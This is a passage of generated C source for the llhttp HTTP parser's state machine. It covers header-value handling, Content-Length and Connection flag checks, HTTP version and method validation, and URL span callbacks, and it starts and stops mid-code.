abort();\n  }\n  s_n_llhttp__internal__n_error_1: {\n    state->error = 0x11;\n    state->reason = \"User callback error\";\n    state->error_pos = (const char*) p;\n    state->_current = (void*) (intptr_t) s_error;\n    return s_error;\n    /* UNREACHABLE */;\n    abort();\n  }\n  s_n_llhttp__internal__n_invoke_llhttp__on_headers_complete: {\n    switch (llhttp__on_headers_complete(state, p, endp)) {\n      case 0:\n        goto s_n_llhttp__internal__n_invoke_llhttp__after_headers_complete;\n      case 1:\n        goto s_n_llhttp__internal__n_invoke_or_flags_1;\n      case 2:\n        goto s_n_llhttp__internal__n_invoke_update_upgrade;\n      case 21:\n        goto s_n_llhttp__internal__n_pause_6;\n      default:\n        goto s_n_llhttp__internal__n_error_1;\n    }\n    /* UNREACHABLE */;\n    abort();\n  }\n  s_n_llhttp__internal__n_invoke_llhttp__before_headers_complete: {\n    switch (llhttp__before_headers_complete(state, p, endp)) {\n      default:\n        goto s_n_llhttp__internal__n_invoke_llhttp__on_headers_complete;\n    }\n    /* UNREACHABLE */;\n    abort();\n  }\n  s_n_llhttp__internal__n_invoke_test_lenient_flags_1: {\n    switch (llhttp__internal__c_test_lenient_flags_1(state, p, endp)) {\n      case 0:\n        goto s_n_llhttp__internal__n_error_11;\n      default:\n        goto s_n_llhttp__internal__n_invoke_llhttp__before_headers_complete;\n    }\n    /* UNREACHABLE */;\n    abort();\n  }\n  s_n_llhttp__internal__n_invoke_test_flags_1: {\n    switch (llhttp__internal__c_test_flags_1(state, p, endp)) {\n      case 1:\n        goto s_n_llhttp__internal__n_invoke_test_lenient_flags_1;\n      default:\n        goto s_n_llhttp__internal__n_invoke_llhttp__before_headers_complete;\n    }\n    /* UNREACHABLE */;\n    abort();\n  }\n  s_n_llhttp__internal__n_invoke_test_flags: {\n    switch (llhttp__internal__c_test_flags(state, p, endp)) {\n      case 1:\n        goto s_n_llhttp__internal__n_invoke_llhttp__on_chunk_complete_1;\n      default:\n        goto s_n_llhttp__internal__n_invoke_test_flags_1;\n    }\n    /* UNREACHABLE */;\n    abort();\n  }\n  s_n_llhttp__internal__n_error_13: {\n    state->error = 0xb;\n    state->reason = \"Empty Content-Length\";\n    state->error_pos = (const char*) p;\n    state->_current = (void*) (intptr_t) s_error;\n    return s_error;\n    /* UNREACHABLE */;\n    abort();\n  }\n  s_n_llhttp__internal__n_span_end_llhttp__on_header_value: {\n    const unsigned char* start;\n    int err;\n    \n    start = state->_span_pos0;\n    state->_span_pos0 = NULL;\n    err = llhttp__on_header_value(state, start, p);\n    if (err != 0) {\n      state->error = err;\n      state->error_pos = (const char*) p;\n      state->_current = (void*) (intptr_t) s_n_llhttp__internal__n_invoke_llhttp__on_header_value_complete;\n      return s_error;\n    }\n    goto s_n_llhttp__internal__n_invoke_llhttp__on_header_value_complete;\n    /* UNREACHABLE */;\n    abort();\n  }\n  s_n_llhttp__internal__n_invoke_update_header_state: {\n    switch (llhttp__internal__c_update_header_state(state, p, endp)) {\n      default:\n        goto s_n_llhttp__internal__n_span_start_llhttp__on_header_value;\n    }\n    /* UNREACHABLE */;\n    abort();\n  }\n  s_n_llhttp__internal__n_invoke_or_flags_3: {\n    switch (llhttp__internal__c_or_flags_3(state, p, endp)) {\n      default:\n        goto s_n_llhttp__internal__n_invoke_update_header_state;\n    }\n    /* UNREACHABLE */;\n    abort();\n  }\n  s_n_llhttp__internal__n_invoke_or_flags_4: {\n    switch (llhttp__internal__c_or_flags_4(state, p, endp)) {\n      default:\n        goto s_n_llhttp__internal__n_invoke_update_header_state;\n    }\n    /* UNREACHABLE */;\n    abort();\n  }\n  s_n_llhttp__internal__n_invoke_or_flags_5: {\n    switch (llhttp__internal__c_or_flags_5(state, p, endp)) {\n      default:\n        goto s_n_llhttp__internal__n_invoke_update_header_state;\n    }\n    /* UNREACHABLE */;\n    abort();\n  }\n  s_n_llhttp__internal__n_invoke_or_flags_6: {\n    switch (llhttp__internal__c_or_flags_6(state, p, endp)) {\n      default:\n        goto s_n_llhttp__internal__n_span_start_llhttp__on_header_value;\n    }\n    /* UNREACHABLE */;\n    abort();\n  }\n  s_n_llhttp__internal__n_invoke_load_header_state_1: {\n    switch (llhttp__internal__c_load_header_state(state, p, endp)) {\n      case 5:\n        goto s_n_llhttp__internal__n_invoke_or_flags_3;\n      case 6:\n        goto s_n_llhttp__internal__n_invoke_or_flags_4;\n      case 7:\n        goto s_n_llhttp__internal__n_invoke_or_flags_5;\n      case 8:\n        goto s_n_llhttp__internal__n_invoke_or_flags_6;\n      default:\n        goto s_n_llhttp__internal__n_span_start_llhttp__on_header_value;\n    }\n    /* UNREACHABLE */;\n    abort();\n  }\n  s_n_llhttp__internal__n_invoke_load_header_state: {\n    switch (llhttp__internal__c_load_header_state(state, p, endp)) {\n      case 2:\n        goto s_n_llhttp__internal__n_error_13;\n      default:\n        goto s_n_llhttp__internal__n_invoke_load_header_state_1;\n    }\n    /* UNREACHABLE */;\n    abort();\n  }\n  s_n_llhttp__internal__n_invoke_update_header_state_1: {\n    switch (llhttp__internal__c_update_header_state(state, p, endp)) {\n      default:\n        goto s_n_llhttp__internal__n_invoke_llhttp__on_header_value_complete;\n    }\n    /* UNREACHABLE */;\n    abort();\n  }\n  s_n_llhttp__internal__n_invoke_or_flags_7: {\n    switch (llhttp__internal__c_or_flags_3(state, p, endp)) {\n      default:\n        goto s_n_llhttp__internal__n_invoke_update_header_state_1;\n    }\n    /* UNREACHABLE */;\n    abort();\n  }\n  s_n_llhttp__internal__n_invoke_or_flags_8: {\n    switch (llhttp__internal__c_or_flags_4(state, p, endp)) {\n      default:\n        goto s_n_llhttp__internal__n_invoke_update_header_state_1;\n    }\n    /* UNREACHABLE */;\n    abort();\n  }\n  s_n_llhttp__internal__n_invoke_or_flags_9: {\n    switch (llhttp__internal__c_or_flags_5(state, p, endp)) {\n      default:\n        goto s_n_llhttp__internal__n_invoke_update_header_state_1;\n    }\n    /* UNREACHABLE */;\n    abort();\n  }\n  s_n_llhttp__internal__n_invoke_or_flags_10: {\n    switch (llhttp__internal__c_or_flags_6(state, p, endp)) {\n      default:\n        goto s_n_llhttp__internal__n_invoke_llhttp__on_header_value_complete;\n    }\n    /* UNREACHABLE */;\n    abort();\n  }\n  s_n_llhttp__internal__n_invoke_load_header_state_3: {\n    switch (llhttp__internal__c_load_header_state(state, p, endp)) {\n      case 5:\n        goto s_n_llhttp__internal__n_invoke_or_flags_7;\n      case 6:\n        goto s_n_llhttp__internal__n_invoke_or_flags_8;\n      case 7:\n        goto s_n_llhttp__internal__n_invoke_or_flags_9;\n      case 8:\n        goto s_n_llhttp__internal__n_invoke_or_flags_10;\n      default:\n        goto s_n_llhttp__internal__n_invoke_llhttp__on_header_value_complete;\n    }\n    /* UNREACHABLE */;\n    abort();\n  }\n  s_n_llhttp__internal__n_error_14: {\n    state->error = 0x3;\n    state->reason = \"Missing expected LF after header value\";\n    state->error_pos = (const char*) p;\n    state->_current = (void*) (intptr_t) s_error;\n    return s_error;\n    /* UNREACHABLE */;\n    abort();\n  }\n  s_n_llhttp__internal__n_span_end_llhttp__on_header_value_1: {\n    const unsigned char* start;\n    int err;\n    \n    start = state->_span_pos0;\n    state->_span_pos0 = NULL;\n    err = llhttp__on_header_value(state, start, p);\n    if (err != 0) {\n      state->error = err;\n      state->error_pos = (const char*) p;\n      state->_current = (void*) (intptr_t) s_n_llhttp__internal__n_header_value_almost_done;\n      return s_error;\n    }\n    goto s_n_llhttp__internal__n_header_value_almost_done;\n    /* UNREACHABLE */;\n    abort();\n  }\n  s_n_llhttp__internal__n_span_end_llhttp__on_header_value_2: {\n    const unsigned char* start;\n    int err;\n    \n    start = state->_span_pos0;\n    state->_span_pos0 = NULL;\n    err = llhttp__on_header_value(state, start, p);\n    if (err != 0) {\n      state->error = err;\n      state->error_pos = (const char*) (p + 1);\n      state->_current = (void*) (intptr_t) s_n_llhttp__internal__n_header_value_almost_done;\n      return s_error;\n    }\n    p++;\n    goto s_n_llhttp__internal__n_header_value_almost_done;\n    /* UNREACHABLE */;\n    abort();\n  }\n  s_n_llhttp__internal__n_span_end_llhttp__on_header_value_3: {\n    const unsigned char* start;\n    int err;\n    \n    start = state->_span_pos0;\n    state->_span_pos0 = NULL;\n    err = llhttp__on_header_value(state, start, p);\n    if (err != 0) {\n      state->error = err;\n      state->error_pos = (const char*) (p + 1);\n      state->_current = (void*) (intptr_t) s_n_llhttp__internal__n_header_value_almost_done;\n      return s_error;\n    }\n    p++;\n    goto s_n_llhttp__internal__n_header_value_almost_done;\n    /* UNREACHABLE */;\n    abort();\n  }\n  s_n_llhttp__internal__n_error_15: {\n    state->error = 0xa;\n    state->reason = \"Invalid header value char\";\n    state->error_pos = (const char*) p;\n    state->_current = (void*) (intptr_t) s_error;\n    return s_error;\n    /* UNREACHABLE */;\n    abort();\n  }\n  s_n_llhttp__internal__n_invoke_test_lenient_flags_2: {\n    switch (llhttp__internal__c_test_lenient_flags_2(state, p, endp)) {\n      case 1:\n        goto s_n_llhttp__internal__n_header_value_lenient;\n      default:\n        goto s_n_llhttp__internal__n_error_15;\n    }\n    /* UNREACHABLE */;\n    abort();\n  }\n  s_n_llhttp__internal__n_invoke_update_header_state_3: {\n    switch (llhttp__internal__c_update_header_state(state, p, endp)) {\n      default:\n        goto s_n_llhttp__internal__n_header_value_connection;\n    }\n    /* UNREACHABLE */;\n    abort();\n  }\n  s_n_llhttp__internal__n_invoke_or_flags_11: {\n    switch (llhttp__internal__c_or_flags_3(state, p, endp)) {\n      default:\n        goto s_n_llhttp__internal__n_invoke_update_header_state_3;\n    }\n    /* UNREACHABLE */;\n    abort();\n  }\n  s_n_llhttp__internal__n_invoke_or_flags_12: {\n    switch (llhttp__internal__c_or_flags_4(state, p, endp)) {\n      default:\n        goto s_n_llhttp__internal__n_invoke_update_header_state_3;\n    }\n    /* UNREACHABLE */;\n    abort();\n  }\n  s_n_llhttp__internal__n_invoke_or_flags_13: {\n    switch (llhttp__internal__c_or_flags_5(state, p, endp)) {\n      default:\n        goto s_n_llhttp__internal__n_invoke_update_header_state_3;\n    }\n    /* UNREACHABLE */;\n    abort();\n  }\n  s_n_llhttp__internal__n_invoke_or_flags_14: {\n    switch (llhttp__internal__c_or_flags_6(state, p, endp)) {\n      default:\n        goto s_n_llhttp__internal__n_header_value_connection;\n    }\n    /* UNREACHABLE */;\n    abort();\n  }\n  s_n_llhttp__internal__n_invoke_load_header_state_4: {\n    switch (llhttp__internal__c_load_header_state(state, p, endp)) {\n      case 5:\n        goto s_n_llhttp__internal__n_invoke_or_flags_11;\n      case 6:\n        goto s_n_llhttp__internal__n_invoke_or_flags_12;\n      case 7:\n        goto s_n_llhttp__internal__n_invoke_or_flags_13;\n      case 8:\n        goto s_n_llhttp__internal__n_invoke_or_flags_14;\n      default:\n        goto s_n_llhttp__internal__n_header_value_connection;\n    }\n    /* UNREACHABLE */;\n    abort();\n  }\n  s_n_llhttp__internal__n_invoke_update_header_state_4: {\n    switch (llhttp__internal__c_update_header_state_4(state, p, endp)) {\n      default:\n        goto s_n_llhttp__internal__n_header_value_connection_token;\n    }\n    /* UNREACHABLE */;\n    abort();\n  }\n  s_n_llhttp__internal__n_invoke_update_header_state_2: {\n    switch (llhttp__internal__c_update_header_state_2(state, p, endp)) {\n      default:\n        goto s_n_llhttp__internal__n_header_value_connection_ws;\n    }\n    /* UNREACHABLE */;\n    abort();\n  }\n  s_n_llhttp__internal__n_invoke_update_header_state_5: {\n    switch (llhttp__internal__c_update_header_state_5(state, p, endp)) {\n      default:\n        goto s_n_llhttp__internal__n_header_value_connection_ws;\n    }\n    /* UNREACHABLE */;\n    abort();\n  }\n  s_n_llhttp__internal__n_invoke_update_header_state_6: {\n    switch (llhttp__internal__c_update_header_state_6(state, p, endp)) {\n      default:\n        goto s_n_llhttp__internal__n_header_value_connection_ws;\n    }\n    /* UNREACHABLE */;\n    abort();\n  }\n  s_n_llhttp__internal__n_span_end_llhttp__on_header_value_4: {\n    const unsigned char* start;\n    int err;\n    \n    start = state->_span_pos0;\n    state->_span_pos0 = NULL;\n    err = llhttp__on_header_value(state, start, p);\n    if (err != 0) {\n      state->error = err;\n      state->error_pos = (const char*) p;\n      state->_current = (void*) (intptr_t) s_n_llhttp__internal__n_error_17;\n      return s_error;\n    }\n    goto s_n_llhttp__internal__n_error_17;\n    /* UNREACHABLE */;\n    abort();\n  }\n  s_n_llhttp__internal__n_invoke_mul_add_content_length_1: {\n    switch (llhttp__internal__c_mul_add_content_length_1(state, p, endp, match)) {\n      case 1:\n        goto s_n_llhttp__internal__n_span_end_llhttp__on_header_value_4;\n      default:\n        goto s_n_llhttp__internal__n_header_value_content_length;\n    }\n    /* UNREACHABLE */;\n    abort();\n  }\n  s_n_llhttp__internal__n_invoke_or_flags_15: {\n    switch (llhttp__internal__c_or_flags_15(state, p, endp)) {\n      default:\n        goto s_n_llhttp__internal__n_header_value_otherwise;\n    }\n    /* UNREACHABLE */;\n    abort();\n  }\n  s_n_llhttp__internal__n_span_end_llhttp__on_header_value_5: {\n    const unsigned char* start;\n    int err;\n    \n    start = state->_span_pos0;\n    state->_span_pos0 = NULL;\n    err = llhttp__on_header_value(state, start, p);\n    if (err != 0) {\n      state->error = err;\n      state->error_pos = (const char*) p;\n      state->_current = (void*) (intptr_t) s_n_llhttp__internal__n_error_18;\n      return s_error;\n    }\n    goto s_n_llhttp__internal__n_error_18;\n    /* UNREACHABLE */;\n    abort();\n  }\n  s_n_llhttp__internal__n_error_16: {\n    state->error = 0x4;\n    state->reason = \"Duplicate Content-Length\";\n    state->error_pos = (const char*) p;\n    state->_current = (void*) (intptr_t) s_error;\n    return s_error;\n    /* UNREACHABLE */;\n    abort();\n  }\n  s_n_llhttp__internal__n_invoke_test_flags_2: {\n    switch (llhttp__internal__c_test_flags_2(state, p, endp)) {\n      case 0:\n        goto s_n_llhttp__internal__n_header_value_content_length;\n      default:\n        goto s_n_llhttp__internal__n_error_16;\n    }\n    /* UNREACHABLE */;\n    abort();\n  }\n  s_n_llhttp__internal__n_invoke_update_header_state_7: {\n    switch (llhttp__internal__c_update_header_state_7(state, p, endp)) {\n      default:\n        goto s_n_llhttp__internal__n_header_value_otherwise;\n    }\n    /* UNREACHABLE */;\n    abort();\n  }\n  s_n_llhttp__internal__n_invoke_update_header_state_8: {\n    switch (llhttp__internal__c_update_header_state_4(state, p, endp)) {\n      default:\n        goto s_n_llhttp__internal__n_header_value;\n    }\n    /* UNREACHABLE */;\n    abort();\n  }\n  s_n_llhttp__internal__n_invoke_and_flags: {\n    switch (llhttp__internal__c_and_flags(state, p, endp)) {\n      default:\n        goto s_n_llhttp__internal__n_header_value_te_chunked;\n    }\n    /* UNREACHABLE */;\n    abort();\n  }\n  s_n_llhttp__internal__n_invoke_or_flags_16: {\n    switch (llhttp__internal__c_or_flags_16(state, p, endp)) {\n      default:\n        goto s_n_llhttp__internal__n_invoke_and_flags;\n    }\n    /* UNREACHABLE */;\n    abort();\n  }\n  s_n_llhttp__internal__n_invoke_or_flags_17: {\n    switch (llhttp__internal__c_or_flags_17(state, p, endp)) {\n      default:\n        goto s_n_llhttp__internal__n_invoke_update_header_state_8;\n    }\n    /* UNREACHABLE */;\n    abort();\n  }\n  s_n_llhttp__internal__n_invoke_load_header_state_2: {\n    switch (llhttp__internal__c_load_header_state(state, p, endp)) {\n      case 1:\n        goto s_n_llhttp__internal__n_header_value_connection;\n      case 2:\n        goto s_n_llhttp__internal__n_invoke_test_flags_2;\n      case 3:\n        goto s_n_llhttp__internal__n_invoke_or_flags_16;\n      case 4:\n        goto s_n_llhttp__internal__n_invoke_or_flags_17;\n      default:\n        goto s_n_llhttp__internal__n_header_value;\n    }\n    /* UNREACHABLE */;\n    abort();\n  }\n  s_n_llhttp__internal__n_span_end_llhttp__on_header_field: {\n    const unsigned char* start;\n    int err;\n    \n    start = state->_span_pos0;\n    state->_span_pos0 = NULL;\n    err = llhttp__on_header_field(state, start, p);\n    if (err != 0) {\n      state->error = err;\n      state->error_pos = (const char*) (p + 1);\n      state->_current = (void*) (intptr_t) s_n_llhttp__internal__n_invoke_llhttp__on_header_field_complete;\n      return s_error;\n    }\n    p++;\n    goto s_n_llhttp__internal__n_invoke_llhttp__on_header_field_complete;\n    /* UNREACHABLE */;\n    abort();\n  }\n  s_n_llhttp__internal__n_span_end_llhttp__on_header_field_1: {\n    const unsigned char* start;\n    int err;\n    \n    start = state->_span_pos0;\n    state->_span_pos0 = NULL;\n    err = llhttp__on_header_field(state, start, p);\n    if (err != 0) {\n      state->error = err;\n      state->error_pos = (const char*) (p + 1);\n      state->_current = (void*) (intptr_t) s_n_llhttp__internal__n_invoke_llhttp__on_header_field_complete;\n      return s_error;\n    }\n    p++;\n    goto s_n_llhttp__internal__n_invoke_llhttp__on_header_field_complete;\n    /* UNREACHABLE */;\n    abort();\n  }\n  s_n_llhttp__internal__n_error_19: {\n    state->error = 0xa;\n    state->reason = \"Invalid header token\";\n    state->error_pos = (const char*) p;\n    state->_current = (void*) (intptr_t) s_error;\n    return s_error;\n    /* UNREACHABLE */;\n    abort();\n  }\n  s_n_llhttp__internal__n_invoke_update_header_state_9: {\n    switch (llhttp__internal__c_update_header_state_4(state, p, endp)) {\n      default:\n        goto s_n_llhttp__internal__n_header_field_general;\n    }\n    /* UNREACHABLE */;\n    abort();\n  }\n  s_n_llhttp__internal__n_invoke_store_header_state: {\n    switch (llhttp__internal__c_store_header_state(state, p, endp, match)) {\n      default:\n        goto s_n_llhttp__internal__n_header_field_colon;\n    }\n    /* UNREACHABLE */;\n    abort();\n  }\n  s_n_llhttp__internal__n_invoke_update_header_state_10: {\n    switch (llhttp__internal__c_update_header_state_4(state, p, endp)) {\n      default:\n        goto s_n_llhttp__internal__n_header_field_general;\n    }\n    /* UNREACHABLE */;\n    abort();\n  }\n  s_n_llhttp__internal__n_invoke_llhttp__on_url_complete: {\n    switch (llhttp__on_url_complete(state, p, endp)) {\n      default:\n        goto s_n_llhttp__internal__n_header_field_start;\n    }\n    /* UNREACHABLE */;\n    abort();\n  }\n  s_n_llhttp__internal__n_invoke_update_http_minor: {\n    switch (llhttp__internal__c_update_http_minor(state, p, endp)) {\n      default:\n        goto s_n_llhttp__internal__n_invoke_llhttp__on_url_complete;\n    }\n    /* UNREACHABLE */;\n    abort();\n  }\n  s_n_llhttp__internal__n_invoke_update_http_major: {\n    switch (llhttp__internal__c_update_http_major(state, p, endp)) {\n      default:\n        goto s_n_llhttp__internal__n_invoke_update_http_minor;\n    }\n    /* UNREACHABLE */;\n    abort();\n  }\n  s_n_llhttp__internal__n_span_end_llhttp__on_url_3: {\n    const unsigned char* start;\n    int err;\n    \n    start = state->_span_pos0;\n    state->_span_pos0 = NULL;\n    err = llhttp__on_url(state, start, p);\n    if (err != 0) {\n      state->error = err;\n      state->error_pos = (const char*) p;\n      state->_current = (void*) (intptr_t) s_n_llhttp__internal__n_url_skip_to_http09;\n      return s_error;\n    }\n    goto s_n_llhttp__internal__n_url_skip_to_http09;\n    /* UNREACHABLE */;\n    abort();\n  }\n  s_n_llhttp__internal__n_error_20: {\n    state->error = 0x7;\n    state->reason = \"Expected CRLF\";\n    state->error_pos = (const char*) p;\n    state->_current = (void*) (intptr_t) s_error;\n    return s_error;\n    /* UNREACHABLE */;\n    abort();\n  }\n  s_n_llhttp__internal__n_span_end_llhttp__on_url_4: {\n    const unsigned char* start;\n    int err;\n    \n    start = state->_span_pos0;\n    state->_span_pos0 = NULL;\n    err = llhttp__on_url(state, start, p);\n    if (err != 0) {\n      state->error = err;\n      state->error_pos = (const char*) p;\n      state->_current = (void*) (intptr_t) s_n_llhttp__internal__n_url_skip_lf_to_http09;\n      return s_error;\n    }\n    goto s_n_llhttp__internal__n_url_skip_lf_to_http09;\n    /* UNREACHABLE */;\n    abort();\n  }\n  s_n_llhttp__internal__n_error_23: {\n    state->error = 0x17;\n    state->reason = \"Pause on PRI/Upgrade\";\n    state->error_pos = (const char*) p;\n    state->_current = (void*) (intptr_t) s_error;\n    return s_error;\n    /* UNREACHABLE */;\n    abort();\n  }\n  s_n_llhttp__internal__n_error_24: {\n    state->error = 0x9;\n    state->reason = \"Expected HTTP/2 Connection Preface\";\n    state->error_pos = (const char*) p;\n    state->_current = (void*) (intptr_t) s_error;\n    return s_error;\n    /* UNREACHABLE */;\n    abort();\n  }\n  s_n_llhttp__internal__n_error_22: {\n    state->error = 0x9;\n    state->reason = \"Expected CRLF after version\";\n    state->error_pos = (const char*) p;\n    state->_current = (void*) (intptr_t) s_error;\n    return s_error;\n    /* UNREACHABLE */;\n    abort();\n  }\n  s_n_llhttp__internal__n_invoke_load_method_1: {\n    switch (llhttp__internal__c_load_method(state, p, endp)) {\n      case 34:\n        goto s_n_llhttp__internal__n_req_pri_upgrade;\n      default:\n        goto s_n_llhttp__internal__n_req_http_complete;\n    }\n    /* UNREACHABLE */;\n    abort();\n  }\n  s_n_llhttp__internal__n_invoke_store_http_minor: {\n    switch (llhttp__internal__c_store_http_minor(state, p, endp, match)) {\n      default:\n        goto s_n_llhttp__internal__n_invoke_load_method_1;\n    }\n    /* UNREACHABLE */;\n    abort();\n  }\n  s_n_llhttp__internal__n_error_25: {\n    state->error = 0x9;\n    state->reason = \"Invalid minor version\";\n    state->error_pos = (const char*) p;\n    state->_current = (void*) (intptr_t) s_error;\n    return s_error;\n    /* UNREACHABLE */;\n    abort();\n  }\n  s_n_llhttp__internal__n_error_26: {\n    state->error = 0x9;\n    state->reason = \"Expected dot\";\n    state->error_pos = (const char*) p;\n    state->_current = (void*) (intptr_t) s_error;\n    return s_error;\n    /* UNREACHABLE */;\n    abort();\n  }\n  s_n_llhttp__internal__n_invoke_store_http_major: {\n    switch (llhttp__internal__c_store_http_major(state, p, endp, match)) {\n      default:\n        goto s_n_llhttp__internal__n_req_http_dot;\n    }\n    /* UNREACHABLE */;\n    abort();\n  }\n  s_n_llhttp__internal__n_error_27: {\n    state->error = 0x9;\n    state->reason = \"Invalid major version\";\n    state->error_pos = (const char*) p;\n    state->_current = (void*) (intptr_t) s_error;\n    return s_error;\n    /* UNREACHABLE */;\n    abort();\n  }\n  s_n_llhttp__internal__n_error_21: {\n    state->error = 0x8;\n    state->reason = \"Invalid method for HTTP/x.x request\";\n    state->error_pos = (const char*) p;\n    state->_current = (void*) (intptr_t) s_error;\n    return s_error;\n    /* UNREACHABLE */;\n    abort();\n  }\n  s_n_llhttp__internal__n_invoke_load_method: {\n    switch (llhttp__internal__c_load_method(state, p, endp)) {\n      case 0:\n        goto s_n_llhttp__internal__n_req_http_major;\n      case 1:\n        goto s_n_llhttp__internal__n_req_http_major;\n      case 2:\n        goto s_n_llhttp__internal__n_req_http_major;\n      case 3:\n        goto s_n_llhttp__internal__n_req_http_major;\n      case 4:\n        goto s_n_llhttp__internal__n_req_http_major;\n      case 5:\n        goto s_n_llhttp__internal__n_req_http_major;\n      case 6:\n        goto s_n_llhttp__internal__n_req_http_major;\n      case 7:\n        goto s_n_llhttp__internal__n_req_http_major;\n      case 8:\n        goto s_n_llhttp__internal__n_req_http_major;\n      case 9:\n        goto s_n_llhttp__internal__n_req_http_major;\n      case 10:\n        goto s_n_llhttp__internal__n_req_http_major;\n      case 11:\n        goto s_n_llhttp__internal__n_req_http_major;\n      case 12:\n        goto s_n_llhttp__internal__n_req_http_major;\n      case 13:\n        goto s_n_llhttp__internal__n_req_http_major;\n      case 14:\n        goto s_n_llhttp__internal__n_req_http_major;\n      case 15:\n        goto s_n_llhttp__internal__n_req_http_major;\n      case 16:\n        goto s_n_llhttp__internal__n_req_http_major;\n      case 17:\n        goto s_n_llhttp__internal__n_req_http_major;\n      case 18:\n        goto s_n_llhttp__internal__n_req_http_major;\n      case 19:\n        goto s_n_llhttp__internal__n_req_http_major;\n      case 20:\n        goto s_n_llhttp__internal__n_req_http_major;\n      case 21:\n        goto s_n_llhttp__internal__n_req_http_major;\n      case 22:\n        goto s_n_llhttp__internal__n_req_http_major;\n      case 23:\n        goto s_n_llhttp__internal__n_req_http_major;\n      case 24:\n        goto s_n_llhttp__internal__n_req_http_major;\n      case 25:\n        goto s_n_llhttp__internal__n_req_http_major;\n      case 26:\n        goto s_n_llhttp__internal__n_req_http_major;\n      case 27:\n        goto s_n_llhttp__internal__n_req_http_major;\n      case 28:\n        goto s_n_llhttp__internal__n_req_http_major;\n      case 29:\n        goto s_n_llhttp__internal__n_req_http_major;\n      case 30:\n        goto s_n_llhttp__internal__n_req_http_major;\n      case 31:\n        goto s_n_llhttp__internal__n_req_http_major;\n      case 32:\n        goto s_n_llhttp__internal__n_req_http_major;\n      case 33:\n        goto s_n_llhttp__internal__n_req_http_major;\n      case 34:\n        goto s_n_llhttp__internal__n_req_http_major;\n      default:\n        goto s_n_llhttp__internal__n_error_21;\n    }\n    /* UNREACHABLE */;\n    abort();\n  }\n  s_n_llhttp__internal__n_error_30: {\n    state->error = 0x8;\n    state->reason = \"Expected HTTP/\";\n    state->error_pos = (const char*) p;\n    state->_current = (void*) (intptr_t) s_error;\n    return s_error;\n    /* UNREACHABLE */;\n    abort();\n  }\n  s_n_llhttp__internal__n_error_28: {\n    state->error = 0x8;\n    state->reason = \"Expected SOURCE method for ICE/x.x request\";\n    state->error_pos = (const char*) p;\n    state->_current = (void*) (intptr_t) s_error;\n    return s_error;\n    /* UNREACHABLE */;\n    abort();\n  }\n  s_n_llhttp__internal__n_invoke_load_method_2: {\n    switch (llhttp__internal__c_load_method(state, p, endp)) {\n      case 33:\n        goto s_n_llhttp__internal__n_req_http_major;\n      default:\n        goto s_n_llhttp__internal__n_error_28;\n    }\n    /* UNREACHABLE */;\n    abort();\n  }\n  s_n_llhttp__internal__n_error_29: {\n    state->error = 0x8;\n    state->reason = \"Invalid method for RTSP/x.x request\";\n    state->error_pos = (const char*) p;\n    state->_current = (void*) (intptr_t) s_error;\n    return s_error;\n    /* UNREACHABLE */;\n    abort();\n  }\n  s_n_llhttp__internal__n_invoke_load_method_3: {\n    switch (llhttp__internal__c_load_method(state, p, endp)) {\n      case 1:\n        goto s_n_llhttp__internal__n_req_http_major;\n      case 3:\n        goto s_n_llhttp__internal__n_req_http_major;\n      case 6:\n        goto s_n_llhttp__internal__n_req_http_major;\n      case 35:\n        goto s_n_llhttp__internal__n_req_http_major;\n      case 36:\n        goto s_n_llhttp__internal__n_req_http_major;\n      case 37:\n        goto s_n_llhttp__internal__n_req_http_major;\n      case 38:\n        goto s_n_llhttp__internal__n_req_http_major;\n      case 39:\n        goto s_n_llhttp__internal__n_req_http_major;\n      case 40:\n        goto s_n_llhttp__internal__n_req_http_major;\n      case 41:\n        goto s_n_llhttp__internal__n_req_http_major;\n      case 42:\n        goto s_n_llhttp__internal__n_req_http_major;\n      case 43:\n        goto s_n_llhttp__internal__n_req_http_major;\n      case 44:\n        goto s_n_llhttp__internal__n_req_http_major;\n      case 45:\n        goto s_n_llhttp__internal__n_req_http_major;\n      default:\n        goto s_n_llhttp__internal__n_error_29;\n    }\n    /* UNREACHABLE */;\n    abort();\n  }\n  s_n_llhttp__internal__n_invoke_llhttp__on_url_complete_1: {\n    switch (llhttp__on_url_complete(state, p, endp)) {\n      default:\n        goto s_n_llhttp__internal__n_req_http_start;\n    }\n    /* UNREACHABLE */;\n    abort();\n  }\n  s_n_llhttp__internal__n_span_end_llhttp__on_url_5: {\n    const unsigned char* start;\n    int err;\n    \n    start = state->_span_pos0;\n    state->_span_pos0 = NULL;\n    err = llhttp__on_url(state, start, p);\n    if (err != 0) {\n      state->error = err;\n      state->error_pos = (const char*) p;\n      state->_current = (void*) (intptr_t) s_n_llhttp__internal__n_url_skip_to_http;\n      return s_error;\n    }\n    goto s_n_llhttp__internal__n_url_skip_to_http;\n    /* UNREACHABLE */;\n    abort();\n  }\n  s_n_llhttp__internal__n_span_end_llhttp__on_url_6: {\n    const unsigned char* start;\n    int err;\n    \n    start = state->_span_pos0;\n    state->_span_pos0 = NULL;\n    err = llhttp__on_url(state, start, p);\n    if (err != 0) {\n      state->error = err;\n      state->error_pos = (const char*) p;\n      state->_current = (void*) (intptr_t) s_n_llhttp__internal__n_url_skip_to_http09;\n      return s_error;\n    }\n    goto s_n_llhttp__internal__n_url_skip_to_http09;\n    /* UNREACHABLE */;\n    abort();\n  }\n  s_n_llhttp__internal__n_span_end_llhttp__on_url_7: {\n    const unsigned char* start;\n    int err;\n    \n    start = state->_span_pos0;\n    state->_span_pos0 = NULL;\n    err = llhttp__on_url(state, start, p);\n    if (err != 0) {\n      state->error = err;\n      state->error_pos = (const char*) p;\n      state->_current = (void*) (intptr_t) s_n_llhttp__internal__n_url_skip_lf_to_http09;\n      return s_error;\n    }\n    goto s_n_llhttp__internal__n_url_skip_lf_to_http09;\n    /* UNREACHABLE */;\n    abort();\n  }\n  s_n_llhttp__internal__n_span_end_llhttp__on_url_8: {\n    const unsigned char* start;\n    int err;\n    \n    start = state->_span_pos0;\n    state->_span_pos0 = NULL;\n    err = llhttp__on_url(state, start, p);\n    if (err != 0) {\n      state->error = err;\n      state->error_pos = (const char*) p;\n      state->_current = (void*) (intptr_t) s_n_llhttp__internal__n_url_skip_to_http;\n      return s_error;\n    }\n    goto s_n_llhttp__internal__n_url_skip_to_http;\n    /* UNREACHABLE */;\n    abort();\n  }\n  s_n_llhttp__internal__n_error_31: {\n    state->error = 0x7;\n    state->reason = \"Invalid char in url fragment start\";\n    state->error_pos = (const char*) p;\n    state->_current = (void*) (intptr_t) s_error;\n    return s_error;\n    /* UNREACHABLE */;\n    abort();\n  }\n  s_n_llhttp__internal__n_span_end_llhttp__on_url_9: {\n    const unsigned char* start;\n    int err;\n    \n    start = state->_span_pos0;\n    state->_span_pos0 = NULL;\n    err = 